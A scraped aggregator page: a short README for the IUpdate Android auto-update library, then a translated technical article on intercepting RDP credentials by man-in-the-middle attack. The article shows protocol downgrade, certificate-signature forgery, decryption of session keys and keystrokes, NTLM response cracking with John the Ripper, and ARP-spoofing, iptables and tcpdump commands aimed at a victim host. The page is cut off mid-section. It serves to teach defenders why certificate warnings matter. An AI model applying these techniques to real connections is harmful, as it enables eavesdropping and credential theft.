Quantcast
Channel: CodeSection,代码区,网络安全 - CodeSec
Viewing all 12749 articles
Browse latest View live

android 自动检测更新

$
0
0
IUpdate 安卓自动检测更新工具

init 1.0

1.准备描述更新信息的JSON文件 { "versionCode":4, //新版本的versionCode,int型 "versionName":"1.12", //新版本的versionName,String型 "url":"http://contoso.com/app.apk", //APK下载地址,String型 "msg":"Bug修复", //更新内容,String型 "md5":"D23788B6A1F95C8B6F7E442D6CA7536C", //32位MD5值,String型 "size":17962350 //大小(字节),int型 } 2.构建IUpdateApi对象 //注册事件 EventBusUtils.register(this); final IUpdateApi updateApi = new IUpdateApi .Builder() .setDebugMode(false) //是否显示调试信息(可选,默认:false) //.setUpdateBean(updateBean) //设置通过其他途径得到的IUpdateBean(2选1) .setJsonUrl("http://192.168.8.103:8080/a/a.xml") //JSON文件的URL(2选1) .setShowDialogIfWifi(true) //设置在WiFi下直接弹出AlertDialog而不使用Notification(可选,默认:false) .setDownloadText("立即下载") //可选,默认为左侧所示的文本 .setInstallText("立即安装(已下载)") .setLaterText("以后再说") .setHintText("版本更新") .setDownloadingText("正在下载") .setIconResId(R.mipmap.ic_launcher) //设置在通知栏显示的通知图标资源ID(可选,默认为应用图标) .build(); 3.检查更新 if (IUpdateUtils.isConnected(activity)) { updateApi.update(activity); } else { EventBusUtils.post(new UpdateEvent(2, IConstants.notNet)); }

适用于 App 入口的自动检查更新。默认策略下:

1.若用户选择“以后再说”或者划掉了通知栏的更新提示,则当天对该版本不再提示更新,防止当天每次打开应用时都提示导致用户不胜其烦;

2.在任何网络环境下,均推送一条通知栏更新提示,点击通知后弹出对话框,防止直接弹框带来不好的用户体验。

可调用 IUpdateApi.Builder.setShowDialogIfWifi(true) 设置在 WiFi 下直接弹出更新提示框 (AlertDialog) 而不使用 Notification 的形式。

if (IUpdateUtils.isConnected(activity)) { updateApi.forceUpdate(activity); } else { EventBusUtils.post(new UpdateEvent(2, IConstants.notNet)); }

适用于应用“设置”页面的手动检查更新。此方法无视上面的 2 条默认策略,如果有更新,总是对用户进行提示,且总是使用提示框 (AlertDialog) 的形式。

4.若不想使用JSON文件,可传入由其他途径得到的IUpdateBean IUpdateApi.Builder.setUpdateBean(IUpdateApi updateBean);

可使用第三方推送服务的自定义消息/透传功能,接收到服务端推送过来的JSON(String)后,解析成一个XdUpdateBean,传入上述方法,即可使用推送带过来的JSON进行更新提示。

注意不是普通消息,这样会直接在通知栏上显示内容,不会进到自定义的代码处理块。

5.更新监听:

//订阅事件 @Subscribe public void onUpdateEvent(UpdateEvent event) { Log.e("aaaaaaaa", event.toString()); switch (event.flg) { case 1: //success boolean flg=event.needUpdate; if (flg) { //需要更新 } else { //最新版本 } Log.e("aaaaaaaaaaaa","是否需要更新-->"+flg); break; case 2: //fail switch (event.code) { case IConstants.notNet: Log.e("aaaaaaaaaaaa","没有网络"); break; case IConstants.requestError: Log.e("aaaaaaaaaaaa","请求失败"); break; case IConstants.jsonError: Log.e("aaaaaaaaaaaa","json配置异常"); break; case IConstants.md5Error: Log.e("aaaaaaaaaaaa","MD5加密异常"); break; case IConstants.downloadError: Log.e("aaaaaaaaaaaa","下载失败"); break; } break; } } 6.other: eventbus okhttp3 okio rxandroid rxjava gson


【技术分享】攻击RDP——如何窃听不安全的RDP连接

$
0
0
【技术分享】攻击RDP——如何窃听不安全的RDP连接

2017-03-22 14:02:58
来源:exploit-db.com 作者:shan66

阅读:590次
点赞(0)
收藏





【技术分享】攻击RDP——如何窃听不安全的RDP连接

翻译:shan66

稿费:300RMB(不服你也来投稿啊!)

投稿方式:发送邮件至linwei#360.cn,或登陆网页版在线投稿


简介

系统管理员每天都会使用远程桌面协议(RDP)登录到远程windows计算机。最常见的情形是,人们使用它在关键服务器上执行某些管理任务,这些服务器包括具有高度特权帐户的域控制器等,它们的登陆凭据都是通过RDP传输的。因此,确保RDP配置的安全性是至关重要的。

但是根据我们的观察,由于配置错误,Active Directory环境中的系统管理员会定期显示(并忽略)证书警告,如下所示:


【技术分享】攻击RDP——如何窃听不安全的RDP连接

图1:SSL证书警告

如果您的环境中经常遇到这样的警告的话,您将无法识别真正的中间人(MitM)攻击。

本文旨在帮您认识到认真对待证书警告以及如何安全地配置Windows环境有多么的重要。目标受众是系统管理员、渗透测试人员和安全爱好者。虽然对下列主题的了解没有硬性要求,但我仍然鼓励您进一步深入学习一下:

公钥密码术以及对称密码术(RSA和RC4)

SSL

x509证书

TCP

python

十六进制数和二进制代码

我们将演示MitM是如何嗅探您的凭据的,如果您不小心的话是很容易中招的。这些都不是特别新的技术,例如Cain [2]就是用来干这个的。然而,Cain不仅“年代久远”,代码封闭,而且还只适用于Windows系统。我们想要分析RDP的所有细节和内部工作机制,并尽可能地模拟真实的攻击情形。

不用说,本文介绍的技术不得用于在未经授权的情况下访问不属于您的任何系统。它们只能在系统所有者完全同意的情况下用于教育目的。否则,你很可能违反法律,当然,具体还取决于你的管辖权。

对于心急的读者,可以通过参考资料[1]中的链接下载相应的源代码。

协议分析

让我们启动Wireshark,看看当我们通过RDP连接到服务器时会发生什么:


【技术分享】攻击RDP——如何窃听不安全的RDP连接

图2:Wireshark中的RDP会话的开头部分内容

正如我们所看到的,客户端首先提出了用于RDP会话的安全协议。这里有三个协议:

标准RDP安全性协议

增强型RDP安全或TLS安全性协议

CredSSP协议

在本例中,客户端能够使用前两个协议。注意,标准的RDP安全性协议总是可用的,不需要由客户端指出。TLS或增强的RDP安全性协议,只是将标准RDP安全性协议封装到加密的TLS隧道内而已。顺便说一下,在本文中术语SSL和TLS可是可以互换的。

CredSSP协议虽然也使用TLS隧道,但它不是在受保护的隧道中传输密码,而是使用NTLM或Kerberos进行身份验证。该协议也称为网络级认证(NLA)。

早期的用户身份验证有一个特点,那就是允许服务器可以在用户提交任何凭据(用户名除外)之前拒绝访问,例如,如果用户没有必要的远程访问权限。

在上面的Wireshark会话中,我们可以看到,SSL握手是在客户端和服务器已同意使用增强的RDP安全性协议之后执行的。为此,我们右键单击磋商数据包后的第一个数据包,并将TCP数据流作为SSL解码:


【技术分享】攻击RDP——如何窃听不安全的RDP连接

图3:SSL握手的开头部分内容

因此,如果我们想要对一个RDP连接进行中间人攻击的话,不能直接使用SSL代理,因为代理还需要知道RDP。它需要知道何时启动SSL握手,这类似于SMTP或FTP中的StartTLS。我们选择Python来实现这样的代理。为此,我们只需创建受害者客户端连接到的服务器套接字,以及连接到实际服务器的客户端套接字。我们在这些套接字之间转发数据,并在必要时将它们封装到SSL套接字中。当然,我们将密切关注相关数据并根据需要进行修改。

当然,首先要修改的就是客户端提出的协议。客户端可能想告诉服务器它可以执行CredSSP协议,但我们将在相应数据到达服务器的半路上将协议更改为标准RDP安全性协议。在默认配置中,服务器会很乐意使用这个协议的。


利用Python打造用于RDP的MitM代理

我们的Python脚本的主循环大致如下所示:


【技术分享】攻击RDP——如何窃听不安全的RDP连接

函数run()打开套接字,处理协议的协商并启用SSL(如有必要)。

之后,数据就可以在两个套接字之间转发了。如果设置了调试标志,dump_data()函数会将数据作为hexdump打印到屏幕。而parse_rdp()会从数据中提取相应的信息,tamper_data()函数可用于对其进行修改。


密码学基础知识

因为我们需要借助RSA来搞定标准RDP安全协议,所以我们先来了解一下RSA的基础知识。如果您熟悉这方面的知识的话,可以跳过此部分。

在RSA中,加密、解密和签名纯粹就是数学运算,并且都是针对整数的运算。

请记住,所有这些操作都是在有限群上完成的[3]。

当生成RSA密钥对时,您需要找到两个大质数p和q。你得到他们的乘积,n = pq(这称为模数),计算φ(n)=(p - 1)(q - 1)(欧拉常数函数),并选择一个与φ(n) 互质的整数e。然后,您需要找到满足

ed≡1modφ(n)

的数字d。

数字d就是私钥,而e和n则组成公钥。当然,理论上d可以利用n和e求出,但φ(n)却很难计算,除非你知道p和q。这就是为什么RSA的安全性在很大程度上取决于大数分解的难度。到目前为止,没有人知道如何有效地进行大数分解——除非你有一台可以工作的量子计算机[4,5]。

为了加密消息m,我们只需求其e次幂,然后模n:

c≡memodn

为了对密文c进行解密,我们可以使用私钥指数d进行下列运算:

m≡cdmodn

实际上,这是加密运算的逆运算。当然,这里涉及许多数学知识,过于深入的内容我就不介绍了。

签名与解密相同。你只需在消息的哈希值上执行相同的运算即可。

如果m或c大于256位的话,这些运算的开销将非常大,所以通常只使用RSA来加密对称密钥。然后,通过使用刚生成的密钥通过对称密码(通常为AES)算法来加密实际的消息。


攻陷标准RDP安全协议

其实,攻破这个协议难度并不太大,因为它的设计本身就存在很大隐患,下面我会具体加以讲解。

标准RDP安全协议的运行机制是:

客户声明打算使用标准RDP安全协议。

服务器同意并将自己的RSA公钥与“Server Random”一起发送到客户端。公钥以及其他信息(例如主机名等)的集合称为“证书”。

使用终端服务私钥对证书进行签名,以确保真实性。

客户端通过使用终端服务公钥验证证书。如果验证成功,它就使用服务器的公钥来加密“Client Random”,并将其发送给服务器。

服务器使用自己的私钥解密Client Random。

服务器和客户端从Server Random和Client Random中求出会话密钥[6]。这些密钥用于对会话的其余部分进行对称加密。 请注意,所有这些都是以纯文本形式发送的,而不是在SSL隧道内发送的。原则上讲这没有什么问题,微软只是试图实现自己的SSL加密技术。然而,加密技术是可没想象的那么容易[7],按一般规律,你始终应该依靠已建立的解决方案,因为它们都是经过时间考验过得,而不是实现自己的解决方案。因此,微软在这里犯了一个根本性的错误——我实在想不通他们为什么要这样做。 你能发现这里的错误吗?客户端是如何获取终端服务公钥的?答案是:它是预装的。这意味着它在所有系统上使用相同的密钥。这意味着私钥也都是一样的!所以,它可以从任何Windows安装上面提取到。事实上,我们甚至不需要这样做,因为现在微软已经决定正式发布它,这样一来,我们可以直接从microsoft.com网站上找到它们[8]。 在导出会话密钥后,可以使用多个安全级别[9]进行对称加密:无、40位RC4、56位RC4、128位RC4或3DES(称为FIPS)。默认值为128位RC4(“High”)。但是如果我们能够窃听密钥的话,那么加密的强度就无所谓了。

所以我们的计划是很明显的:当发现服务器的公钥时,我们快速生成相同大小的自己的RSA密钥对,并用它覆盖原始密钥。当然,我们需要使用终端服务私钥生成我们的公钥的签名,并用它替换原始签名。然后,在客户端成功验证我们的假公钥之后,我们接收其Client Random。我们使用我们的私钥对它进行解密,将其写下来以便使用服务器的公钥重新加密它。仅此而已!这样一来,我们就可以被动地读取客户端和服务器之间的加密流量了。

唯一的挑战是正确解析RDP数据包。这才是我们感兴趣的:

Fromserver: 00000000:0300021502F0807F668202090A010002........f....... 00000010:0100301A020122020103020100020101..0..."......... 00000020:020100020101020300FFF80201020482................ 00000030:01E3000500147C00012A14760A010100......|..*.v.... 00000040:01C0004D63446E81CC010C1000040008...McDn......... 00000050:000000000001000000030C1000EB0304................ 00000060:00EC03ED03EE03EF03020CAC01020000................ 00000070:00020000002000000078010000D95EA3........x....^. 00000080:AAD6F680EB0B3E1D8D30B3AB6AAE2607......>..0..j.&. 00000090:EF893DCB1598AE227E4B2BAF07010000..=...."~K+..... 000000A0:00010000000100000006001C01525341.............RSA 000000B0:310801000000080000FF0000000100011............... 000000C0:00AF92E820ACD5F7BB9FCF6F6E2C6307..........on,c. 000000D0:34CCA77A21AB298A1B5DFEFD43F110FC4..z!.)..]..C... 000000E0:DBC6D64BF1B7E1B95EF7684658EF0939...K....^.hFX..9 000000F0:08030F540C58FA3EA34A50F691E941F8...T.X.>.JP...A. 00000100:891DCC143C640B1D2B0C98DF63D6A672....<d..+...c..r 00000110:42EDACCB88448547D38945BABD9F2DD0B....D.G..E...-. 00000120:D50E2409AD022B9D3718DD128BF6215B..$...+.7.....![ 00000130:204733529C0032BAE783807FAA3CF3C7G3R..2......<.. 00000140:95DD84C24E5E0C275274FC870E10D942....N^.'Rt.....B 00000150:190DF577573F714F9C340F12F8E8B059...wW?qO.4.....Y 00000160:F7CD09F9A525AE6ACBE6CB8824DAD246.....%.j....$..F 00000170:422121942E6D42FF9FAF89E3BAECCCDAB!!..mB......... 00000180:15715D17A95A0059D4ADEAE49358065B.q]..Z.Y.....X.[ 00000190:F7222A1FDDDCC627302A2510B1A84098."*....'0*%...@. 000001A0:6B24B64E2A79B74027F4BE0735805048k$.N*y.@'...5.PH 000001B0:72A40D2BAAB05C89C0962A491EBCA1ABr..+..\...*I.... 000001C0:D00000000000000000080048003D5F11...........H.=_. 000001D0:A1C138091BB185521ED103A11E35E749..8....R.....5.I 000001E0:CC25C33C6B9877C28703C4F5780978F1.%.<k.w.....x.x. 000001F0:432107BDABEE8EB0F6BCFCB0A66ADD49C!...........j.I 00000200:A0F13986FEF11E363CCE69C062000000..9....6<.i.b... 00000210:0000000000..... 我高亮显示了代表公钥的相关字节。在其前面的两个字节的内容是以小端字节顺序(0x011c)表示的公钥长度。正如我们之前讨论的那样,公钥由模数和公钥指数组成。有关此数据结构的详细信息,请阅读RDP的相关规范[10]。

让我们来看看我们感兴趣的信息。下面是模数:

00000000:AF92E820ACD5F7BB9FCF6F6E2C630734.........on,c.4 00000010:CCA77A21AB298A1B5DFEFD43F110FCDB..z!.)..]..C.... 00000020:C6D64BF1B7E1B95EF7684658EF093908..K....^.hFX..9. 00000030:030F540C58FA3EA34A50F691E941F889..T.X.>.JP...A.. 00000040:1DCC143C640B1D2B0C98DF63D6A67242...<d..+...c..rB 00000050:EDACCB88448547D38945BABD9F2DD0D5....D.G..E...-.. 00000060:0E2409AD022B9D3718DD128BF6215B20.$...+.7.....![ 00000070:4733529C0032BAE783807FAA3CF3C795G3R..2......<... 00000080:DD84C24E5E0C275274FC870E10D94219...N^.'Rt.....B. 00000090:0DF577573F714F9C340F12F8E8B059F7..wW?qO.4.....Y. 000000A0:CD09F9A525AE6ACBE6CB8824DAD24642....%.j....$..FB 000000B0:2121942E6D42FF9FAF89E3BAECCCDA15!!..mB.......... 000000C0:715D17A95A0059D4ADEAE49358065BF7q]..Z.Y.....X.[. 000000D0:222A1FDDDCC627302A2510B1A840986B"*....'0*%...@.k 000000E0:24B64E2A79B74027F4BE073580504872$.N*y.@'...5.PHr 000000F0:A40D2BAAB05C89C0962A491EBCA1ABD0..+..\...*I..... 00000100:0000000000000000........

签名是:

00000000:3D5F11A1C138091BB185521ED103A11E=_...8....R..... 00000010:35E749CC25C33C6B9877C28703C4F5785.I.%.<k.w.....x 00000020:0978F1432107BDABEE8EB0F6BCFCB0A6.x.C!........... 00000030:6ADD49A0F13986FEF11E363CCE69C062j.I..9....6<.i.b 00000040:0000000000000000........

Server Random是:

00000000:D95EA3AAD6F680EB0B3E1D8D30B3AB6A.^.......>..0..j 00000010:AE2607EF893DCB1598AE227E4B2BAF07.&...=...."~K+..

这些都是以小端字节顺序排列的。我们要留心记下Server Random,并替换其他两个值。

为了生成我们的RSA密钥,我们将使用openssl。我知道有一个处理RSA的Python库,但它比openssl的速度要慢得多。

$opensslgenrsa512|opensslrsa-noout-text GeneratingRSAprivatekey,512bitlongmodulus .....++++++++++++ ..++++++++++++ eis65537(0x010001) Private-Key:(512bit) modulus: 00:f8:4c:16:d5:6c:75:96:65:b3:42:83:ee:26:f7: e6:8a:55:89:b0:61:6e:3e:ea:e0:d3:27:1c:bc:88: 81:48:29:d8:ff:39:18:d9:28:3d:29:e1:bf:5a:f1: 21:2a:9a:b8:b1:30:0f:4c:70:0a:d3:3c:e7:98:31: 64:b4:98:1f:d7 publicExponent:65537(0x10001) privateExponent: 00:b0:c1:89:e7:b8:e4:24:82:95:90:1e:57:25:0a: 88:e5:a5:6a:f5:53:06:a6:67:92:50:fe:a0:e8:5d: cc:9a:cf:38:9b:5f:ee:50:20:cf:10:0c:9b:e1:ee: 05:94:9a:16:e9:82:e2:55:48:69:1d:e8:dd:5b:c2: 8a:f6:47:38:c1 prime1: [...]

这里我们可以看到模数n、公钥指数e和私钥指数d。它们是使用大端字节顺序的十六进制数字表示的。我们实际上需要一个2048位的密钥,而不是512位的,但道理您应该清楚了。

伪造签名很容易。我们取证书的前六个字段的MD5哈希值,根据规范添加一些常量[11],然后用终端服务密钥[8]的私有部分进行加密。具体可以利用下列Python代码来完成:
【技术分享】攻击RDP——如何窃听不安全的RDP连接

我们需要拦截的下一个消息是包含加密的Client Random的消息。它看起来如下所示:

Fromclient: 00000000:0300011F02F08064000803EB70811001.......d....p... 00000010:02000008010000DD8A4335DD1A129944.........C5....D 00000020:A13EF5385CDB3F3F40D1EDC4A93B606A.>.8\.??@....;`j 00000030:A6105AAFFD177A214369D0F89BF121A3..Z...z!Ci....!. 00000040:F149C680960362BF43549D384D68758C.I....b.CT.8Mhu. 00000050:EAA169232FF6E93BE7E048A1B86BE2D7..i#/..;..H..k.. 00000060:E249B1B21BBFBAD9650B345AB010736E.I......e.4Z..sn 00000070:4F15FAD704CA5CE5E28787ED550F0045O.....\.....U..E 00000080:652CC61A4C096F274454FEB6021CBA9Fe,..L.o'DT...... 00000090:3BD8D08DA5E693450C9B68365C931679;......E..h6\..y 000000A0:0BB819BF88085DAC19857CBBAA66C4D9......]...|..f.. 000000B0:8EC311EDF38D27608A08E0B1201D089A......'`....... 000000C0:97446D33230E5C73D4024C20975CC9F6.Dm3#.\s..L.\.. 000000D0:6D31B270353937A4C25262C75A695444m1.p597..Rb.ZiTD 000000E0:4C4A75D263CC52158F6E2AD80D61A50ALJu.c.R..n*..a.. 000000F0:475B2A68977B1BFFD3331049159AD62CG[*h.{...3.I..., 00000100:DF046D93217832988B0BF40133FBCC5B..m.!x2.....3..[ 00000110:83BA2D7FEA823B0000000000000000..-...;........

同样,这里也高亮显示了加密的Client Random,其中前面的四个字节表示其长度(0x0108)。

由于它是用我们的证书来加密的,那么自然可以轻松解密了:

00000000:4bbdf97d49b68996ec450ce036e3d170K..}I....E..6..p 00000010:65a8f962f4875f27cd1f294b263074e4e..b.._'..)K&0t.

我们只需要使用服务器的公钥重新加密它,并在传递它之前进行相应的替换即可。

不幸的是,事情还没有结束。我们现在知道了秘密的Client Random,但不知道什么原因,微软并没有单纯用它作为对称密钥。有一个精心制作程序[6]可以导出客户端的加密密钥、服务器的加密密钥和签名密钥。

在导出会话密钥之后,我们可以初始化RC4流的s-box。由于RDP对于来自服务器的消息使用单独的密钥,而不是来自客户端的消息,因此我们需要两个s-box。s-box是一个256字节的数组,会根据密钥按照某种特定的方式进行重排。然后,s盒就会产生伪随机数流,用来与数据流进行异或处理。这个过程可以用下列Python代码完成:


【技术分享】攻击RDP——如何窃听不安全的RDP连接

正如你所看到的那样,协议要求密钥对4096个数据包加密后进行更新。但是这里我不打算实现这一点,因为我只是对凭证安全性的概念证明感兴趣,所以不想弄那么复杂。不过,如果读者学有余力的话,可以自行补上!

现在,我们已经万事俱备,足以读取所有的流量了。我们对含有键盘输入事件(即按键和按键释放)信息的数据包特别感兴趣。我从规范[12]了解到,消息可以包含多个数据包,并有慢路径包(从0x03开始)和快路径包(第一个字节可被四整除)。 键盘输入事件[13]由两个字节组成,例如: 100000000:011F..

这意味着“S”键(0x1F)已被释放(因为第一个字节是0x01)。

当然,这里的解析工作处理的不是很到位,因为有时鼠标移动事件会被识别为键盘事件。此外,scancode需要转换为虚拟键代码,这取决于键盘类型和键盘布局。这样做好像有点复杂,所以我没有这样做,而是直接采用了参考资料[14]中的方法。对于概念验证来说,这已经足够好了。

让我们试验一下。连接到我们的虚假RDP服务器后,我们收到警告说无法验证服务器的真实性:


【技术分享】攻击RDP——如何窃听不安全的RDP连接

图4:无法验证服务器的身份...

注意到了吗?这不是SSL的警告。但是无论如何,我们现在已经可以看到按键了(见图5)。

顺便说一下,这正是Cain所做的事情。


攻陷增强型RDP安全协议

对我来说,降级到标准RDP安全协议是无法令人满意的。如果我是一个攻击者,我会尽量让攻击看起来不那么不显眼。在上面的情形中,受害人会注意到一个与平常不同的警告,并且在连接已经建立之后还必须输入其凭证。

当我使用Cain通过MitM方式攻击RDP连接时,要是没有看到相同的SSL警告的话,我会很不爽的。因为如果这个MitM工具会导致显示完全不同的警告的话,那么我就很难向客户解释为什么必须认真对待SSL警告,特别是当他们使用了未经验证的自签名证书的时候。


【技术分享】攻击RDP——如何窃听不安全的RDP连接

图5:以明文显示的键盘输入事件。密码是Secr3t!

因此,让我们尝试将连接降级为增强型RDP安全协议。为此,我们需要自己的自签名SSL证书,不过这可以由openssl生成:

$opensslreq-new-newkeyrsa:“$KEYLENGTH”-days“$DAYS”-nodes-x509\ -subj“$SUBJ”-keyoutprivatekey.key-outcertificate.crt2>/dev/null

我们需要在正确的时间将我们的Python TCP套接字封装到SSL套接字中,这对于我们来说不成问题。我之前说过,标准的RDP协议使用了SSL隧道,但服务器总是选择“None”作为其加密级别。这简直太好了,因为可以安全地假设SSL封装器能确保数据的真实性和完整性。在SSL之上使用RC4是没有必要的,因为这就是在资源浪费。提取击键的工作方式与前一节完全相同。

唯一多出来的安全功能就是服务器会对原始协议协商请求进行确认。

在建立SSL连接后,服务器会对客户端说:“顺便说一下,你告诉我这些是你能够处理的安全协议。”用二进制表示的话,它看起来像这样:


Fromserver: 00000000:0300007002F0807F66660A0100020100...p....ff...... 00000010:301A02012202010302010002010102010..."........... 00000020:00020101020300FFF802010204420005.............B.. 00000030:00147C00012A14760A01010001C0004D..|..*.v.......M 00000040:63446E2C010C10000400080001000000cDn,............ 00000050:01000000030C1000EB030400EC03ED03................ 00000060:EE03EF03020C0C000000000000000000................

然后,客户端可以将该值与最初在第一个请求中发送的值进行比较,如果不匹配,则终止连接。显然,这时已经太晚了。我们作为中间人,可以通过用其原始值(在这种情况下为0x03)替换相应字节(在偏移量为0x4C处的高亮显示字节)来隐藏来自客户端的伪协商请求。

之后,我们可以毫无阻碍的侦听一切流量了。好了,继续努力。

如预期的那样,受害者这里看到的是SSL警告。但这事仍然不够圆满。因为在建立RDP连接之前,没有提示我们输入凭据,而是直接显示了Windows登录屏幕。与NLA不同,认证是在会话内部进行的。同样,这仍然有别于典型的管理工作流程,很容易被精明的用户觉察到。


突破CredSSP协议

好吧,我承认:这里我们没有直接攻陷CredSSP协议。但我们会找到一种方法来绕过它。

首先,让我们看看如果我们不降低连接的安全等级的话,会发生什么。这时,发送到服务器的相关消息如下所示:

Fromclient: 00000000:30820285A003020104A18201DA3082010............0.. 00000010:D6308201D2A08201CE048201CA4E544C.0...........NTL 00000020:4D535350000300000018001800740000MSSP.........t.. 00000030:002E012E018C00000008000800580000.............X.. 00000040:000A000A00600000000A000A006A0000.....`.......j.. 00000050:0010001000BA010000358288E20A0039.........5.....9 00000060:380000000F6D49C45546C067E4B45D868....mI.UF.g..]. 00000070:8AFC3B59945200440031003400550073..;Y.R.D.1.4.U.s 00000080:00650072003100570049004E00310030.e.r.1.W.I.N.1.0 00000090:00000000000000000000000000000000................ 000000A0:000000000000000000110D658E927F07...........e.... 000000B0:7B0402040CC1A6B6EF01010000000000{............... 000000C0:00D5FDA87CEC95D201A7559D44F43184....|.....U.D.1. 000000D0:8A000000000200080052004400310034.........R.D.1.4 000000E0:00010008004400430030003100040014.....D.C.0.1.... 000000F0:0072006400310034002E006C006F0063.r.d.1.4...l.o.c 00000100:0061006C0003001E0064006300300031.a.l.....d.c.0.1 00000110:002E0072006400310034002E006C006F...r.d.1.4...l.o 00000120:00630061006C00050014007200640031.c.a.l.....r.d.1 00000130:0034002E006C006F00630061006C0007.4...l.o.c.a.l.. 00000140:000800D5FDA87CEC95D2010600040002......|......... 00000150:00000008003000300000000000000000.....0.0........ 00000160:000000002000004CFA6E96109BD90F6A......L.n.....j 00000170:4080DAAA8E264E4EBFAFFAE9E368AF78@....&NN.....h.x 00000180:7F53E389D96B180A0010000000000000.S...k.......... 00000190:000000000000000000000009002C0054.............,.T 000001A0:00450052004D005300520056002F0031.E.R.M.S.R.V./.1 000001B0:00390032002E003100360038002E0034.9.2...1.6.8...4 000001C0:0030002E003100370039000000000000.0...1.7.9...... 000001D0:00000000000000190AF7ED0C45C08073............E..s 000001E0:53741AABAF13B4A3819F04819C010000St.............. 000001F0:007F38FEA6325E4E570000000042B46E..8..2^NW....B.n 00000200:3909AACC8F04715C54CFADE0A058AA069.....q\T....X.. 00000210:B2F00A3305035460FBE168FCF50DA9C0...3..T`..h..... 00000220:D957BA43F292F76F32744E86CD7FF03B.W.C...o2tN....; 00000230:DDA4A4670AB77E640B63D74BF7C6B78F...g..~d.c.K.... 00000240:21159DEA3EE11A50ABAAD36E469D686E!...>..P...nF.hn 00000250:2AEA445CE0511D41B413EBB990E875AD*.D\.Q.A......u. 00000260:A0994EF2A599D48D2A1173F195FC7EA0..N.....*.s...~. 00000270:06FD13DBD03B7AB44197B694D41162F5.....;z.A.....b. 00000280:4C06BE039C0F550E3CL.....U.&lt;

我高亮显示了客户端质询和NTLM的应答,两者是彼此相邻的。服务器质询位于服务器的上一条消息中。

我们在这里看到的是NTLM身份验证[15]。这是一种质询-应答技术,其中客户端会将服务器质询(类似于Server Random)、客户端质询以及用户密码的哈希值以及一些其他值映射为加密哈希值。这个值称为“NTLM应答”,然后将其传输到服务器。

这个值的计算细节对我们来说并不重要。我们唯一需要知道的是,它不能用于重放攻击或用于哈希值传递攻击。但它可能会遭受密码猜测攻击!

底层的哈希算法是HMAC-MD5,这是一个相当差劲的哈希算法(所以我们可以每秒猜测大量值),但它仍然使用了salt(用来对付彩虹表)。

我们现在可以尝试用Hashcat [17]或者John Ripper [18]来破解它。John的哈希格式为[16]: <Username>::<Domain>:<ServerChallenge>:<ClientChallenge>:<NTLMResponse>

在本例中,我们有:

User1::RD14:a5f46f6489dc654f:110d658e927f077b0402040cc1a6b6ef:0101000000000 000d5fda87cec95d201a7559d44f431848a0000000002000800520044003100340001000800 44004300300031000400140072006400310034002e006c006f00630061006c0003001e00640 06300300031002e0072006400310034002e006c006f00630061006c00050014007200640031 0034002e006c006f00630061006c0007000800d5fda87cec95d201060004000200000008003 000300000000000000000000000002000004cfa6e96109bd90f6a4080daaa8e264e4ebfaffa e9e368af787f53e389d96b180a0010000000000000000000000000000000000009002c00540 0450052004d005300520056002f003100390032002e003100360038002e00340030002e0031 0037003900000000000000000000000000

如果我们把这个哈希值放在一个名为hashes.txt的文件中,那么可以通过下列命令来进行验证:

$echo'S00perS3cretPa$$word'|./john--format=netntlmv2--stdinhashes.txt Usingdefaultinputencoding:UTF-8 Loaded1passwordhash(netntlmv2,NTLMv2C/R[MD4HMAC-MD532/64]) Willrun8OpenMPthreads PressCtrl-Ctoabort,orsendSIGUSR1tojohnprocessforstatus S00perS3cretPa$$word(User1) 1g0:00:00:0033.33g/s33.33p/s33.33c/s33.33C/sS00perS3cretPa$$word Usethe"--show"optiontodisplayallofthecrackedpasswordsreliably Sessioncompleted

虽然不是很理想,但是总比什么都没有强。不过,实际上我们可以做得更好。

我们需要问自己的问题是:服务器是如何验证NTLM应答的?它会咨询域控制器。那么,如果域控制器不可用呢? 它会说“算了,让我们使用增强型RDP安全协议吧,不用NLA了”,客户端也会言听计从。但是有趣的是:由于客户端已经缓存了用户的密码,所以它会直接传输它,而不是将用户引导至Windows登录屏幕! 这正是我们想要的。这样除了SSL警告之外,就没有任何可疑的东西引起受害者的注意了。

所以,我们要做的事情是:当客户端发送它的NTLM应答后,我们将服务器的响应替换为:

00000000:300da003020104a4060204c000005e0.............^

我没有找到与此有关的文档,但它的确是无法联系域控制器时的服务器响应。客户端将返回到增强型RDP安全协议,并显示SSL警告,同时将SSL隧道内的密码传输到服务器。

请注意,我们没有收到SSL警告。根据规范[19],客户端将SSL证书的指纹发送到使用由CredSSP协议协商的密钥加密的服务器。

如果它与服务器证书的指纹不匹配,那么会话将会被终止。这就是为什么即使受害者提供不正确的凭据也不要紧的原因—— 我们可以看到(不正确的)密码。

但是,如果密码正确,我们将观察到一个TLS内部错误。

我想出的解决方法是直接篡改NTLM应答。我对Python脚本进行了相应的修改,通过更改NTLM应答让NTLM身份验证总是失败。不过,受害者是不会注意到这一点的,因为正如我们刚才看到的,我们可以将连接降级到TLS,这样会重新传输凭据。

但是,还有一件事需要注意。如果客户端会显示正在尝试连接一台加入域的计算机,那么它就不会使用NTLM,而是使用Kerberos,这意味着它将在建立RDP连接之前与域控制器联系以请求相应的ticket。这是一件好事,因为Kerberos的ticket对攻击者而言,要比没有“盐化”的NTLM应答更加微不足道。但是,如果攻击者处于MitM位置,那么他就可以阻止针对Kerberos服务的所有请求。如果客户端无法联系Kerberos服务,那会发生什么呢?实际上,它会退回到NTLM。

将这种攻击技术武器化

到目前为止,我们一直在实验室环境下进行的。所以,受害者在RDP客户端中输入的不是我们的IP,而是他们自己的服务器的IP或主机名。有多种方法可以让我们成为中间人,但在这里我们将利用ARP欺骗。这种方法并不难,过一会儿就给出一个概念证明式的演示。由于这种攻击是在网络协议的第二层进行的,所以要求我们必须与受害者在同一个子网中。

在我们欺骗ARP回复并启用IPv4流量转发后,受害者和网关之间的所有通信都将通过我们的计算机。由于仍然不知道受害者输入的IP地址,所以仍然无法运行我们的Python脚本。

首先,我们创建一个iptables规则,丢弃受害者用于RDP服务器的SYN数据包:

$iptables-AFORWARD-ptcp-s"$VICTIM_IP"--syn--dport3389-jREJECT

我们不想重定向其他任何流量,因为受害者可能正在使用已建立的RDP连接,否则就会发生中断。如果我们这里不丢弃那些数据包的话,受害者就会与真正的主机建立连接,而我们则想让受害者与我们建立连接。

第二,我们等待来自受害者目的地端口为3389的TCP SYN分组,以便掌握原始目的地主机的地址。为此,我们可以使用tcpdump:

$tcpdump-n-c1-i"$IFACE"srchost"$VICTIM_IP"and\ "tcp[tcpflags]&tcp-syn!=0"and\ dstport33892>/dev/null|\ sed-e's/.*>\([0-9.]*\)\.3389:.*/\1/'

选项-c 1告诉tcpdump在第一个匹配数据包之后退出。这个SYN包将被丢弃,但这并不重要,因为受害者的系统很快就会再次尝试发送。

